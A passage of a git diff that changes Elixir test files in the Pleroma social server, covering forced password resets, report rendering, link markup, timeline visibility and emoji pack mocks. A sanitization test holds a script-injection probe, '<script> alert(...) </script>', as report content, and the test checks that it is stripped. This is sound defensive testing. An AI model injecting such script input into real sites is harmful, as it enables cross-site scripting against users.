"updated" => "1970-01-01T00:00:00Z" +               } +             ] +           } = UserView.render("user.json", %{user: user}) +  end +    test "Does not add an avatar image if the user hasn't set one" do      user = insert(:user)      {:ok, user} = User.ensure_keys_present(user) diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs index 108143f6a..f00e02a7a 100644 --- a/test/web/admin_api/admin_api_controller_test.exs +++ b/test/web/admin_api/admin_api_controller_test.exs @@ -4,11 +4,13 @@  defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do    use Pleroma.Web.ConnCase +  use Oban.Testing, repo: Pleroma.Repo    alias Pleroma.Activity    alias Pleroma.HTML    alias Pleroma.ModerationLog    alias Pleroma.Repo +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.User    alias Pleroma.UserInviteToken    alias Pleroma.Web.CommonAPI @@ -2351,6 +2353,30 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do                 "@#{admin.nickname} followed relay: https://example.org/relay"      end    end + +  describe "PATCH /users/:nickname/force_password_reset" do +    setup %{conn: conn} do +      admin = insert(:user, info: %{is_admin: true}) +      user = insert(:user) + +      %{conn: assign(conn, :user, admin), admin: admin, user: user} +    end + +    test "sets password_reset_pending to true", %{admin: admin, user: user} do +      assert user.info.password_reset_pending == false + +      conn = +        build_conn() +        |> assign(:user, admin) +        |> patch("/api/pleroma/admin/users/#{user.nickname}/force_password_reset") + +      assert json_response(conn, 204) == "" + +      ObanHelpers.perform_all() + +      assert User.get_by_id(user.id).info.password_reset_pending == true +    end +  end  end  # Needed for testing diff --git a/test/web/admin_api/views/report_view_test.exs b/test/web/admin_api/views/report_view_test.exs index a00c9c579..40df01101 100644 --- a/test/web/admin_api/views/report_view_test.exs +++ b/test/web/admin_api/views/report_view_test.exs @@ -5,6 +5,7 @@  defmodule Pleroma.Web.AdminAPI.ReportViewTest do    use Pleroma.DataCase    import Pleroma.Factory +  alias Pleroma.Web.AdminAPI.Report    alias Pleroma.Web.AdminAPI.ReportView    alias Pleroma.Web.CommonAPI    alias Pleroma.Web.MastodonAPI.AccountView @@ -34,7 +35,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do      }      result = -      ReportView.render("show.json", %{report: activity}) +      ReportView.render("show.json", Report.extract_report_info(activity))        |> Map.delete(:created_at)      assert result == expected @@ -66,7 +67,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do      }      result = -      ReportView.render("show.json", %{report: report_activity}) +      ReportView.render("show.json", Report.extract_report_info(report_activity))        |> Map.delete(:created_at)      assert result == expected @@ -78,7 +79,9 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do      {:ok, activity} = CommonAPI.report(user, %{"account_id" => other_user.id})      {:ok, activity} = CommonAPI.update_report_state(activity.id, "closed") -    assert %{state: "closed"} = ReportView.render("show.json", %{report: activity}) + +    assert %{state: "closed"} = +             ReportView.render("show.json", Report.extract_report_info(activity))    end    test "renders report description" do @@ -92,7 +95,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do        })      assert %{content: "posts are too good for this instance"} = -             ReportView.render("show.json", %{report: activity}) +             ReportView.render("show.json", Report.extract_report_info(activity))    end    test "sanitizes report description" do @@ -109,7 +112,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do      activity = Map.put(activity, :data, data)      refute "<script> alert('hecked :D:D:D:D:D:D:D') </script>" == -             ReportView.render("show.json", %{report: activity})[:content] +             ReportView.render("show.json", Report.extract_report_info(activity))[:content]    end    test "doesn't error out when the user doesn't exists" do @@ -125,6 +128,6 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do      Pleroma.User.delete(other_user)      Pleroma.User.invalidate_cache(other_user) -    assert %{} = ReportView.render("show.json", %{report: activity}) +    assert %{} = ReportView.render("show.json", Report.extract_report_info(activity))    end  end diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs index 230146451..2588898d0 100644 --- a/test/web/common_api/common_api_utils_test.exs +++ b/test/web/common_api/common_api_utils_test.exs @@ -157,11 +157,11 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do        text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*"        expected = -        "<p><strong>hello world</strong></p>\n<p><em>another <span class=\"h-card\"><a data-user=\"#{ +        ~s(<p><strong>hello world</strong></p>\n<p><em>another <span class="h-card"><a data-user="#{            user.id -        }\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> and <span class=\"h-card\"><a data-user=\"#{ +        }" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> and <span class="h-card"><a data-user="#{            user.id -        }\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> <a href=\"http://google.com\">google.com</a> paragraph</em></p>\n" +        }" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> <a href="http://google.com" rel="ugc">google.com</a> paragraph</em></p>\n)        {output, _, _} = Utils.format_input(text, "text/markdown") diff --git a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs index 89d4ca37e..560f55137 100644 --- a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs +++ b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs @@ -86,10 +86,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do        assert user = json_response(conn, 200)        assert user["note"] == -               ~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag">#cofe</a> with <span class="h-card"><a data-user=") <> -                 user2.id <> -                 ~s(" class="u-url mention" href=") <> -                 user2.ap_id <> ~s(">@<span>) <> user2.nickname <> ~s(</span></a></span>) +               ~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe">#cofe</a> with <span class="h-card"><a data-user="#{ +                 user2.id +               }" class="u-url mention" href="#{user2.ap_id}" rel="ugc">@<span>#{user2.nickname}</span></a></span>)      end      test "updates the user's locking status", %{conn: conn} do @@ -334,7 +333,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do        assert account["fields"] == [                 %{"name" => "foo", "value" => "bar"}, -               %{"name" => "link", "value" => "<a href=\"http://cofe.io\">cofe.io</a>"} +               %{"name" => "link", "value" => ~S(<a href="http://cofe.io" rel="ugc">cofe.io</a>)}               ]        assert account["source"]["fields"] == [ diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs index 35a0d3fe1..73a3bf135 100644 --- a/test/web/mastodon_api/mastodon_api_controller_test.exs +++ b/test/web/mastodon_api/mastodon_api_controller_test.exs @@ -97,6 +97,22 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do             |> json_response(403) == %{"error" => "This resource requires authentication."}    end +  test "the public timeline includes only public statuses for an authenticated user" do +    user = insert(:user) + +    conn = +      build_conn() +      |> assign(:user, user) + +    {:ok, _activity} = CommonAPI.post(user, %{"status" => "test"}) +    {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "private"}) +    {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "unlisted"}) +    {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"}) + +    res_conn = get(conn, "/api/v1/timelines/public") +    assert length(json_response(res_conn, 200)) == 1 +  end +    describe "posting statuses" do      setup do        user = insert(:user) @@ -998,9 +1014,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do          |> get("/api/v1/notifications")        expected_response = -        "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{ +        ~s(hi <span class="h-card"><a data-user="#{user.id}" class="u-url mention" href="#{            user.ap_id -        }\">@<span>#{user.nickname}</span></a></span>" +        }" rel="ugc">@<span>#{user.nickname}</span></a></span>)        assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)        assert response == expected_response @@ -1020,9 +1036,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do          |> get("/api/v1/notifications/#{notification.id}")        expected_response = -        "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{ +        ~s(hi <span class="h-card"><a data-user="#{user.id}" class="u-url mention" href="#{            user.ap_id -        }\">@<span>#{user.nickname}</span></a></span>" +        }" rel="ugc">@<span>#{user.nickname}</span></a></span>)        assert %{"status" => %{"content" => response}} = json_response(conn, 200)        assert response == expected_response diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs index 2780e1746..8b88fd784 100644 --- a/test/web/oauth/oauth_controller_test.exs +++ b/test/web/oauth/oauth_controller_test.exs @@ -831,6 +831,33 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do        refute Map.has_key?(resp, "access_token")      end +    test "rejects token exchange for user with password_reset_pending set to true" do +      password = "testpassword" + +      user = +        insert(:user, +          password_hash: Comeonin.Pbkdf2.hashpwsalt(password), +          info: %{password_reset_pending: true} +        ) + +      app = insert(:oauth_app, scopes: ["read", "write"]) + +      conn = +        build_conn() +        |> post("/oauth/token", %{ +          "grant_type" => "password", +          "username" => user.nickname, +          "password" => password, +          "client_id" => app.client_id, +          "client_secret" => app.client_secret +        }) + +      assert resp = json_response(conn, 403) + +      assert resp["error"] == "Password reset is required" +      refute Map.has_key?(resp, "access_token") +    end +      test "rejects an invalid authorization code" do        app = insert(:oauth_app) diff --git a/test/web/pleroma_api/emoji_api_controller_test.exs b/test/web/pleroma_api/emoji_api_controller_test.exs index c5a553692..93a507a01 100644 --- a/test/web/pleroma_api/emoji_api_controller_test.exs +++ b/test/web/pleroma_api/emoji_api_controller_test.exs @@ -33,6 +33,28 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do      refute pack["pack"]["can-download"]    end +  test "listing remote packs" do +    admin = insert(:user, info: %{is_admin: true}) +    conn = build_conn() |> assign(:user, admin) + +    resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + +    mock(fn +      %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> +        json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + +      %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> +        json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + +      %{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} -> +        json(resp) +    end) + +    assert conn +           |> post(emoji_api_path(conn, :list_from), %{instance_address: "https://example.com"}) +           |> json_response(200) == resp +  end +    test "downloading a shared pack from download_shared" do      conn = build_conn() @@ -55,13 +77,13 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do      mock(fn        %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} -> -        json([%{href: "https://old-instance/nodeinfo/2.1.json"}]) +        json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]})        %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} ->          json(%{metadata: %{features: []}})        %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> -        json([%{href: "https://example.com/nodeinfo/2.1.json"}]) +        json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})        %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->          json(%{metadata: %{features: ["shareable_emoji_packs"]}}) diff --git a/test/web/twitter_api/password_controller_test.exs b/test/web/twitter_api/password_controller_test.exs index 3a7246ea8..dc6d4e3e3 100644 --- a/test/web/twitter_api/password_controller_test.exs +++ b/test/web/twitter_api/password_controller_test.exs @@ -6,6 +6,7 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do    use Pleroma.Web.ConnCase    alias Pleroma.PasswordResetToken +  alias Pleroma.User    alias Pleroma.Web.OAuth.Token    import Pleroma.Factory @@ -56,5 +57,25 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do        assert Comeonin.Pbkdf2.checkpw("test", user.password_hash)        assert length(Token.get_user_tokens(user)) == 0      end + +    test "it sets password_reset_pending to false", %{conn: conn} do +      user = insert(:user, info: %{password_reset_pending: true}) + +      {:ok, token} = PasswordResetToken.create_token(user) +      {:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{}) + +      params = %{ +        "password" => "test", +        password_confirmation: "test", +        token: token.token +      } + +      conn +      |> assign(:user, user) +      |> post("/api/pleroma/password_reset", %{data: params}) +      |> html_response(:ok) + +      assert User.get_by_id(user.id).info.password_reset_pending == false +    end    end  end diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs index 08f264431..bf1e233f5 100644 --- a/test/web/twitter_api/twitter_api_test.exs +++ b/test/web/twitter_api/twitter_api_test.exs @@ -109,7 +109,9 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do      {:ok, user2} = TwitterAPI.register_user(data2)      expected_text = -      "<span class='h-card'><a data-user='#{user1.id}' class='u-url mention' href='#{user1.ap_id}'>@<span>john</span></a></span> test" +      ~s(<span class="h-card"><a data-user="#{user1.id}" class="u-url mention" href="#{ +        user1.ap_id +      }" rel="ugc">@<span>john</span></a></span> test)      assert user2.bio == expected_text    end  | 
